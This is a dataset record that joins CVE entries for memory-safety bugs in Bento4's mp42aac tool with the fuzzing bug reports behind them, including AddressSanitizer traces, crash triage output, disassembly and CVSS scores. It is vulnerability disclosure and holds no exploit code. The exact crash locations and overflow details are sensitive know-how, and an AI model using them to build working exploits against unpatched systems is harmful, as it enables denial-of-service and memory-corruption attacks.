0x00005555555f9b6b: je 0x5555555f9b80 <_ZN12AP4_Stz2Atom13GetSampleSizeEjRj+32>
0x00005555555f9b6d: mov rax,QWORD PTR [rdi+0x40]
0x00005555555f9b71: lea ecx,[rsi-0x1]
=> 0x00005555555f9b74: mov ecx,DWORD PTR [rax+rcx*4]
0x00005555555f9b77: xor eax,eax
0x00005555555f9b79: mov DWORD PTR [rdx],ecx
0x00005555555f9b7b: ret
0x00005555555f9b7c: nop DWORD PTR [rax+0x0]
Stack Head (4 entries):
AP4_Stz2Atom::GetSampleSi @ 0x00005555555f9b74: in /home/natalie/Desktop/research/Bug/bento4-06c39d9/mp42aac
AP4_AtomSampleTable::GetS @ 0x00005555555ce999: in /home/natalie/Desktop/research/Bug/bento4-06c39d9/mp42aac
AP4_Track::ReadSample(uns @ 0x00005555555bd910: in /home/natalie/Desktop/research/Bug/bento4-06c39d9/mp42aac
main @ 0x00005555555ab76c: in /home/natalie/Desktop/research/Bug/bento4-06c39d9/mp42aac
Registers:
rax=0x0000000000000000 rbx=0x00005555556559c0 rcx=0x0000000000000000 rdx=0x00007fffffffdb04
rsi=0x0000000000000001 rdi=0x00005555556554a0 rbp=0x0000000000000001 rsp=0x00007fffffffdae8
r8=0x0000000000000000 r9=0x0000000000000000 r10=0x0000000000000000 r11=0x000000000000000a
r12=0x0000000000000000 r13=0x00007fffffffdb10 r14=0x00007fffffffdbf0 r15=0x0000000000000001
rip=0x00005555555f9b74 efl=0x0000000000010202 cs=0x0000000000000033 ss=0x000000000000002b
ds=0x0000000000000000 es=0x0000000000000000 fs=0x0000000000000000 gs=0x0000000000000000
Extra Data:
Description: Access violation near NULL on source operand
Short description: SourceAvNearNull (16/22)
Explanation: The target crashed on an access violation at an address matching the source operand of the current instruction. This likely indicates a read access violation, which may mean the application crashed on a simple NULL dereference to data structure that has no immediate effect on control of the processor.
---END SUMMARY--- | SEGV by a READ memory access (address points to the zero page) | https://api.github.com/repos/axiomatic-systems/Bento4/issues/511/comments | 1 | 2020-05-16T12:08:52Z | 2020-05-22T00:41:45Z | https://github.com/axiomatic-systems/Bento4/issues/511 | 619,458,135 | 511 | 2,339 |
CVE-2020-23331 | 2021-08-17T22:15:07.867 | An issue was discovered in Bento4 version 06c39d9. A NULL pointer dereference exists in the AP4_DescriptorListWriter::Action component located in /Core/Ap4Descriptor.h. It allows an attacker to cause a denial of service (DOS). | {
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"accessVector": "NETWORK",
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"availabilityImpact": "PARTIAL",
"baseScore": 5,
"confidentialityImpact": "NONE",
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"vectorString": "AV:N/AC:L/Au:N/C:N/I:N/A:P",
"version": "2.0"
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] | github.com | [
"axiomatic-systems",
"Bento4"
] | # Command line:
./mp42aac @@ /tmp/out.aac
# Information provided by crashwalk:
---CRASH SUMMARY---
Filename: psym-crashes/id:000544,sig:11,src:001515+007343,op:splice,rep:2
SHA1: 20de771b6086b1a3398115e4e2fc2841d0e50b64
Classification: PROBABLY_NOT_EXPLOITABLE
Hash: f580ca995a6ddc20b994fa723585917b.571d196ddb038b3eaa29ec225bc0ad52
Command: ./mp42aac psym-crashes/id:000544,sig:11,src:001515+007343,op:splice,rep:2 /tmp/out.aac
Faulting Frame:
AP4_DecoderConfigDescriptor::WriteFields(AP4_ByteStream&) @ 0x00005555555de356: in /home/natalie/Desktop/research/Bug/bento4-06c39d9/mp42aac
Disassembly:
0x00005555555de342: test rbx,rbx
0x00005555555de345: je 0x5555555de365 <_ZN27AP4_DecoderConfigDescriptor11WriteFieldsER14AP4_ByteStream+133>
0x00005555555de347: nop WORD PTR [rax+rax*1+0x0]
0x00005555555de350: mov rdi,QWORD PTR [rbx]
0x00005555555de353: mov rsi,rbp
=> 0x00005555555de356: mov rax,QWORD PTR [rdi]
0x00005555555de359: call QWORD PTR [rax+0x10]
0x00005555555de35c: mov rbx,QWORD PTR [rbx+0x8]
0x00005555555de360: test rbx,rbx
0x00005555555de363: jne 0x5555555de350 <_ZN27AP4_DecoderConfigDescriptor11WriteFieldsER14AP4_ByteStream+112>
Stack Head (11 entries):
AP4_DecoderConfigDescript @ 0x00005555555de356: in /home/natalie/Desktop/research/Bug/bento4-06c39d9/mp42aac
AP4_Expandable::Write(AP4 @ 0x00005555555e109d: in /home/natalie/Desktop/research/Bug/bento4-06c39d9/mp42aac
AP4_DecoderConfigDescript @ 0x00005555555de35c: in /home/natalie/Desktop/research/Bug/bento4-06c39d9/mp42aac
AP4_Expandable::Write(AP4 @ 0x00005555555e109d: in /home/natalie/Desktop/research/Bug/bento4-06c39d9/mp42aac
AP4_EsDescriptor::WriteFi @ 0x00005555555e06fc: in /home/natalie/Desktop/research/Bug/bento4-06c39d9/mp42aac
AP4_Expandable::Write(AP4 @ 0x00005555555e109d: in /home/natalie/Desktop/research/Bug/bento4-06c39d9/mp42aac
AP4_Atom::Clone() @ 0x00005555555c87e7: in /home/natalie/Desktop/research/Bug/bento4-06c39d9/mp42aac
AP4_AvcSampleDescription: @ 0x00005555555b4eef: in /home/natalie/Desktop/research/Bug/bento4-06c39d9/mp42aac
AP4_AvcSampleEntry::ToSam @ 0x00005555555b7b5f: in /home/natalie/Desktop/research/Bug/bento4-06c39d9/mp42aac
AP4_StsdAtom::GetSampleDe @ 0x00005555555bbf0d: in /home/natalie/Desktop/research/Bug/bento4-06c39d9/mp42aac
main @ 0x00005555555ab4d2: in /home/natalie/Desktop/research/Bug/bento4-06c39d9/mp42aac
Registers:
rax=0x0000000000000000 rbx=0x000055555568e4e0 rcx=0x0000000000000000 rdx=0x0000000000000004
rsi=0x000055555568f5a0 rdi=0x0000000000000000 rbp=0x000055555568f5a0 rsp=0x00007fffffffd940
r8=0x000055555568f5d0 r9=0x000000000000007c r10=0x0000000000000000 r11=0x00007ffff7d93be0
r12=0x0000000000000000 r13=0x000055555568f5a0 r14=0x000055555568f540 r15=0x0000555555636d10
rip=0x00005555555de356 efl=0x0000000000010202 cs=0x0000000000000033 ss=0x000000000000002b
ds=0x0000000000000000 es=0x0000000000000000 fs=0x0000000000000000 gs=0x0000000000000000
Extra Data:
Description: Access violation near NULL on source operand
Short description: SourceAvNearNull (16/22)
Explanation: The target crashed on an access violation at an address matching the source operand of the current instruction. This likely indicates a read access violation, which may mean the application crashed on a simple NULL dereference to data structure that has no immediate effect on control of the processor.
---END SUMMARY---
# Information provided by address sanitizer:
AddressSanitizer:DEADLYSIGNAL
=================================================================
==22201==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x00000061a6d8 bp 0x7ffdd0eee230 sp 0x7ffdd0eee170 T0)
==22201==The signal is caused by a READ memory access.
==22201==Hint: address points to the zero page.
#0 0x61a6d7 in AP4_DescriptorListWriter::Action(AP4_Descriptor*) const /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4Descriptor.h:108:28
#1 0x6199fe in AP4_List<AP4_Descriptor>::Apply(AP4_List<AP4_Descriptor>::Item::Operator const&) const /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4List.h:353:12
#2 0x6199fe in AP4_DecoderConfigDescriptor::WriteFields(AP4_ByteStream&) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4DecoderConfigDescriptor.cpp:123
#3 0x622297 in AP4_Expandable::Write(AP4_ByteStream&) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4Expandable.cpp:109:5
#4 0x6199fe in AP4_List<AP4_Descriptor>::Apply(AP4_List<AP4_Descriptor>::Item::Operator const&) const /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4List.h:353:12
#5 0x6199fe in AP4_DecoderConfigDescriptor::WriteFields(AP4_ByteStream&) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4DecoderConfigDescriptor.cpp:123
#6 0x622297 in AP4_Expandable::Write(AP4_ByteStream&) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4Expandable.cpp:109:5
#7 0x620603 in AP4_List<AP4_Descriptor>::Apply(AP4_List<AP4_Descriptor>::Item::Operator const&) const /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4List.h:353:12
#8 0x620603 in AP4_EsDescriptor::WriteFields(AP4_ByteStream&) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4EsDescriptor.cpp:163
#9 0x622297 in AP4_Expandable::Write(AP4_ByteStream&) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4Expandable.cpp:109:5
#10 0x5c8e54 in AP4_Atom::Clone() /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4Atom.cpp:316:9
#11 0x58ddc6 in AP4_SampleDescription::AP4_SampleDescription(AP4_SampleDescription::Type, unsigned int, AP4_AtomParent*) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4SampleDescription.cpp:132:41
#12 0x58ddc6 in AP4_AvcSampleDescription::AP4_AvcSampleDescription(unsigned int, unsigned short, unsigned short, unsigned short, char const*, AP4_AtomParent*) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4SampleDescription.cpp:356
#13 0x59882a in AP4_AvcSampleEntry::ToSampleDescription() /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4SampleEntry.cpp:1022:16
#14 0x5a091e in AP4_StsdAtom::GetSampleDescription(unsigned int) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4StsdAtom.cpp:181:53
#15 0x5714b2 in main /home/natalie/Downloads/Bento4-master/Source/C++/Apps/Mp42Aac/Mp42Aac.cpp:268:39
#16 0x7f26839a31e2 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x271e2)
#17 0x45c96d in _start (/home/natalie/Desktop/research/Bug/bento4-06c39d9/mp42aac-asan+0x45c96d)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4Descriptor.h:108:28 in AP4_DescriptorListWriter::Action(AP4_Descriptor*) const
==22201==ABORTING
| SEGV by a READ memory access in AP4_DecoderConfigDescriptor::WriteFields | https://api.github.com/repos/axiomatic-systems/Bento4/issues/509/comments | 1 | 2020-05-16T11:29:41Z | 2020-05-18T06:12:29Z | https://github.com/axiomatic-systems/Bento4/issues/509 | 619,450,232 | 509 | 2,340 |
CVE-2020-23332 | 2021-08-17T22:15:07.903 | A heap-based buffer overflow exists in the AP4_StdcFileByteStream::ReadPartial component located in /StdC/Ap4StdCFileByteStream.cpp of Bento4 version 06c39d9. This issue can lead to a denial of service (DOS). | {
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"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
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"impactScore": 3.6,
"source": "nvd@nist.gov",
"type": "Primary"
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"tags": [
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"Bento4"
] | # Command:
./mp42aac @@ /tmp/out.aac
# Information provided by address sanitizer:
=================================================================
==22589==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6020000000b1 at pc 0x0000004e57a0 bp 0x7ffddd2a7340 sp 0x7ffddd2a6af0
WRITE of size 439 at 0x6020000000b1 thread T0
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#1 0x5c40ab in AP4_StdcFileByteStream::ReadPartial(void*, unsigned int, unsigned int&) /home/natalie/Downloads/Bento4-master/Source/C++/System/StdC/Ap4StdCFileByteStream.cpp:250:14
#2 0x57260a in AP4_ByteStream::Read(void*, unsigned int) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4ByteStream.cpp:54:29
#3 0x662a82 in AP4_RtpAtom::AP4_RtpAtom(unsigned int, AP4_ByteStream&) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4RtpAtom.cpp:50:16
#4 0x5d40a7 in AP4_RtpAtom::Create(unsigned int, AP4_ByteStream&) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4RtpAtom.h:53:20
#5 0x5d40a7 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4AtomFactory.cpp:669
#6 0x5d2922 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4AtomFactory.cpp:233:14
#7 0x60e44b in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4ContainerAtom.cpp:194:12
#8 0x60d6ee in AP4_ContainerAtom::AP4_ContainerAtom(unsigned int, unsigned long long, bool, AP4_ByteStream&, AP4_AtomFactory&) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4ContainerAtom.cpp:139:5
#9 0x60d6ee in AP4_ContainerAtom::Create(unsigned int, unsigned long long, bool, bool, AP4_ByteStream&, AP4_AtomFactory&) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4ContainerAtom.cpp:88
#10 0x5d42b2 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4AtomFactory.cpp:796:20
#11 0x5d2922 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4AtomFactory.cpp:233:14
#12 0x60e44b in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4ContainerAtom.cpp:194:12
#13 0x60d6ee in AP4_ContainerAtom::AP4_ContainerAtom(unsigned int, unsigned long long, bool, AP4_ByteStream&, AP4_AtomFactory&) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4ContainerAtom.cpp:139:5
#14 0x60d6ee in AP4_ContainerAtom::Create(unsigned int, unsigned long long, bool, bool, AP4_ByteStream&, AP4_AtomFactory&) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4ContainerAtom.cpp:88
#15 0x5d42b2 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4AtomFactory.cpp:796:20
#16 0x5d2922 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4AtomFactory.cpp:233:14
#17 0x60e44b in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4ContainerAtom.cpp:194:12
#18 0x60e126 in AP4_ContainerAtom::AP4_ContainerAtom(unsigned int, unsigned long long, bool, AP4_ByteStream&, AP4_AtomFactory&) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4ContainerAtom.cpp:139:5
#19 0x5a3e4b in AP4_TrakAtom::AP4_TrakAtom(unsigned int, AP4_ByteStream&, AP4_AtomFactory&) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4TrakAtom.cpp:165:5
#20 0x5d37f8 in AP4_TrakAtom::Create(unsigned int, AP4_ByteStream&, AP4_AtomFactory&) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4TrakAtom.h:58:20
#21 0x5d37f8 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4AtomFactory.cpp:399
#22 0x5d2922 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4AtomFactory.cpp:233:14
#23 0x60e44b in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4ContainerAtom.cpp:194:12
#24 0x60e126 in AP4_ContainerAtom::AP4_ContainerAtom(unsigned int, unsigned long long, bool, AP4_ByteStream&, AP4_AtomFactory&) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4ContainerAtom.cpp:139:5
#25 0x57ccec in AP4_MoovAtom::AP4_MoovAtom(unsigned int, AP4_ByteStream&, AP4_AtomFactory&) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4MoovAtom.cpp:79:5
#26 0x5d4251 in AP4_MoovAtom::Create(unsigned int, AP4_ByteStream&, AP4_AtomFactory&) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4MoovAtom.h:56:20
#27 0x5d4251 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4AtomFactory.cpp:379
#28 0x5d2922 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4AtomFactory.cpp:233:14
#29 0x5d21eb in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, AP4_Atom*&) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4AtomFactory.cpp:153:12
#30 0x57920e in AP4_File::ParseStream(AP4_ByteStream&, AP4_AtomFactory&, bool) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4File.cpp:104:12
#31 0x5797bb in AP4_File::AP4_File(AP4_ByteStream&, bool) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4File.cpp:78:5
#32 0x571465 in main /home/natalie/Downloads/Bento4-master/Source/C++/Apps/Mp42Aac/Mp42Aac.cpp:250:22
#33 0x7fb0adb691e2 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x271e2)
#34 0x45c96d in _start (/home/natalie/Desktop/research/Bug/bento4-06c39d9/mp42aac-asan+0x45c96d)
0x6020000000b1 is located 0 bytes to the right of 1-byte region [0x6020000000b0,0x6020000000b1)
allocated by thread T0 here:
#0 0x56de20 in operator new[](unsigned long) /home/natalie/Research/LLVM/src/llvm-8.0.1.src/projects/compiler-rt/lib/asan/asan_new_delete.cc:109:3
#1 0x662a72 in AP4_RtpAtom::AP4_RtpAtom(unsigned int, AP4_ByteStream&) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4RtpAtom.cpp:49:21
SUMMARY: AddressSanitizer: heap-buffer-overflow /home/natalie/Research/LLVM/src/llvm-8.0.1.src/projects/compiler-rt/lib/asan/../sanitizer_common/sanitizer_common_interceptors.inc:1001:16 in __interceptor_fread.part.52
Shadow bytes around the buggy address:
0x0c047fff7fc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c047fff7fd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c047fff7fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c047fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c047fff8000: fa fa 00 00 fa fa 00 00 fa fa 00 00 fa fa 00 00
=>0x0c047fff8010: fa fa 04 fa fa fa[01]fa fa fa fa fa fa fa fa fa
0x0c047fff8020: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8030: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8040: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8050: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8060: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==22589==ABORTING
# Information provided by crashwalk:
---CRASH SUMMARY---
Filename: id:000346,sig:06,src:005414,op:ext_AO,pos:773
SHA1: 47de1f27633138a72eb87e0b9183a6a434bc6a71
Classification: EXPLOITABLE
Hash: 2bffe3e28b7d836de8df2bd02ca37d2b.8940a281b43ef80c9adc7f441d8810f4
Command: ./mp42aac psym-crashes/id:000346,sig:06,src:005414,op:ext_AO,pos:773 /tmp/out.aac
Faulting Frame:
operator new(unsigned long) @ 0x00007ffff7e5f1d9: in /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.28
Disassembly:
0x00007ffff7bef3da: xor edx,edx
0x00007ffff7bef3dc: mov rsi,r9
0x00007ffff7bef3df: mov edi,0x2
0x00007ffff7bef3e4: mov eax,0xe
0x00007ffff7bef3e9: syscall
=> 0x00007ffff7bef3eb: mov rax,QWORD PTR [rsp+0x108]
0x00007ffff7bef3f3: xor rax,QWORD PTR fs:0x28
0x00007ffff7bef3fc: jne 0x7ffff7bef424 <__GI_raise+260>
0x00007ffff7bef3fe: mov eax,r8d
0x00007ffff7bef401: add rsp,0x118
Stack Head (32 entries):
__GI_raise @ 0x00007ffff7bef3eb: in (BL)
__GI_abort @ 0x00007ffff7bce899: in (BL)
__libc_message @ 0x00007ffff7c3938e: in (BL)
malloc_printerr @ 0x00007ffff7c414dc: in (BL)
_int_malloc @ 0x00007ffff7c4488a: in (BL)
__GI___libc_malloc @ 0x00007ffff7c46304: in (BL)
operator @ 0x00007ffff7e5f1d9: in /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.28
AP4_String::operator=(cha @ 0x00005555555bbc77: in /home/natalie/Desktop/research/Bug/bento4-06c39d9/mp42aac
AP4_RtpAtom::AP4_RtpAtom( @ 0x00005555555f3fee: in /home/natalie/Desktop/research/Bug/bento4-06c39d9/mp42aac
AP4_AtomFactory::CreateAt @ 0x00005555555ccadd: in /home/natalie/Desktop/research/Bug/bento4-06c39d9/mp42aac
AP4_AtomFactory::CreateAt @ 0x00005555555cdb9c: in /home/natalie/Desktop/research/Bug/bento4-06c39d9/mp42aac
AP4_ContainerAtom::ReadCh @ 0x00005555555db882: in /home/natalie/Desktop/research/Bug/bento4-06c39d9/mp42aac
AP4_ContainerAtom::Create @ 0x00005555555dbbfd: in /home/natalie/Desktop/research/Bug/bento4-06c39d9/mp42aac
AP4_AtomFactory::CreateAt @ 0x00005555555cb892: in /home/natalie/Desktop/research/Bug/bento4-06c39d9/mp42aac
AP4_AtomFactory::CreateAt @ 0x00005555555cdb9c: in /home/natalie/Desktop/research/Bug/bento4-06c39d9/mp42aac
AP4_ContainerAtom::ReadCh @ 0x00005555555db882: in /home/natalie/Desktop/research/Bug/bento4-06c39d9/mp42aac
Registers:
rax=0x0000000000000000 rbx=0x00007ffff7a59100 rcx=0x00007ffff7bef3eb rdx=0x0000000000000000
rsi=0x00007fffffffce40 rdi=0x0000000000000002 rbp=0x00007fffffffd190 rsp=0x00007fffffffce40
r8=0x0000000000000000 r9=0x00007fffffffce40 r10=0x0000000000000008 r11=0x0000000000000246
r12=0x00007fffffffd0b0 r13=0x0000000000000010 r14=0x00007ffff7ffb000 r15=0x0000000000000002
rip=0x00007ffff7bef3eb efl=0x0000000000000246 cs=0x0000000000000033 ss=0x000000000000002b
ds=0x0000000000000000 es=0x0000000000000000 fs=0x0000000000000000 gs=0x0000000000000000
Extra Data:
Description: Heap error
Short description: HeapError (10/22)
Explanation: The target's backtrace indicates that libc has detected a heap error or that the target was executing a heap function when it stopped. This could be due to heap corruption, passing a bad pointer to a heap function such as free(), etc. Since heap errors might include buffer overflows, use-after-free situations, etc. they are generally considered exploitable.
---END SUMMARY--- | Heap buffer overflow in AP4_StdcFileByteStream::ReadPartial | https://api.github.com/repos/axiomatic-systems/Bento4/issues/510/comments | 1 | 2020-05-16T11:33:57Z | 2020-05-18T06:14:32Z | https://github.com/axiomatic-systems/Bento4/issues/510 | 619,451,101 | 510 | 2,341 |
CVE-2020-23333 | 2021-08-17T22:15:07.940 | A heap-based buffer overflow exists in the AP4_CttsAtom::AP4_CttsAtom component located in /Core/Ap4Utils.h of Bento4 version 06c39d9. This can lead to a denial of service (DOS). | {
"cvssMetricV2": [
{
"acInsufInfo": false,
"baseSeverity": "MEDIUM",
"cvssData": {
"accessComplexity": "LOW",
"accessVector": "NETWORK",
"authentication": "NONE",
"availabilityImpact": "PARTIAL",
"baseScore": 5,
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"vectorString": "AV:N/AC:L/Au:N/C:N/I:N/A:P",
"version": "2.0"
},
"exploitabilityScore": 10,
"impactScore": 2.9,
"obtainAllPrivilege": false,
"obtainOtherPrivilege": false,
"obtainUserPrivilege": false,
"source": "nvd@nist.gov",
"type": "Primary",
"userInteractionRequired": false
}
],
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 3.6,
"source": "nvd@nist.gov",
"type": "Primary"
}
],
"cvssMetricV40": null
} | [
{
"source": "cve@mitre.org",
"tags": [
"Exploit",
"Patch",
"Third Party Advisory"
],
"url": "https://github.com/axiomatic-systems/Bento4/issues/507"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Exploit",
"Patch",
"Third Party Advisory"
],
"url": "https://github.com/axiomatic-systems/Bento4/issues/507"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:axiosys:bento4:*:*:*:*:*:*:*:*",
"matchCriteriaId": "89DEDC3E-CD07-448B-BFC4-105F86368918",
"versionEndExcluding": "1.6.0-635",
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | [
"787"
] | 787 | https://github.com/axiomatic-systems/Bento4/issues/507 | [
"Exploit",
"Patch",
"Third Party Advisory"
] | github.com | [
"axiomatic-systems",
"Bento4"
] | I use my fuzzing project framework to find some vulnerabilities in mp42aac with command line:
mp42aac @@ /tmp/out.aac
I found a heap buffer overflow in AP4_CttsAtom::AP4_CttsAtom(unsigned int, unsigned char, unsigned int, AP4_ByteStream&).
# Information provided by address sanitizer
=================================================================
==21708==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x607000001180 at pc 0x000000611503 bp 0x7ffdf3387750 sp 0x7ffdf3387748
READ of size 1 at 0x607000001180 thread T0
#0 0x611502 in AP4_BytesToUInt32BE(unsigned char const*) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4Utils.h:78:22
#1 0x611502 in AP4_CttsAtom::AP4_CttsAtom(unsigned int, unsigned char, unsigned int, AP4_ByteStream&) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4CttsAtom.cpp:89
#2 0x60fce2 in AP4_CttsAtom::Create(unsigned int, AP4_ByteStream&) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4CttsAtom.cpp:52:16
#3 0x5d310c in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4AtomFactory.cpp:479:20
#4 0x5d2922 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4AtomFactory.cpp:233:14
#5 0x60e44b in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4ContainerAtom.cpp:194:12
#6 0x60d6ee in AP4_ContainerAtom::AP4_ContainerAtom(unsigned int, unsigned long long, bool, AP4_ByteStream&, AP4_AtomFactory&) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4ContainerAtom.cpp:139:5
#7 0x60d6ee in AP4_ContainerAtom::Create(unsigned int, unsigned long long, bool, bool, AP4_ByteStream&, AP4_AtomFactory&) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4ContainerAtom.cpp:88
#8 0x5d42b2 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4AtomFactory.cpp:796:20
#9 0x5d2922 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4AtomFactory.cpp:233:14
#10 0x61bf3d in AP4_DrefAtom::AP4_DrefAtom(unsigned int, unsigned char, unsigned int, AP4_ByteStream&, AP4_AtomFactory&) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4DrefAtom.cpp:84:16
#11 0x61b922 in AP4_DrefAtom::Create(unsigned int, AP4_ByteStream&, AP4_AtomFactory&) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4DrefAtom.cpp:50:16
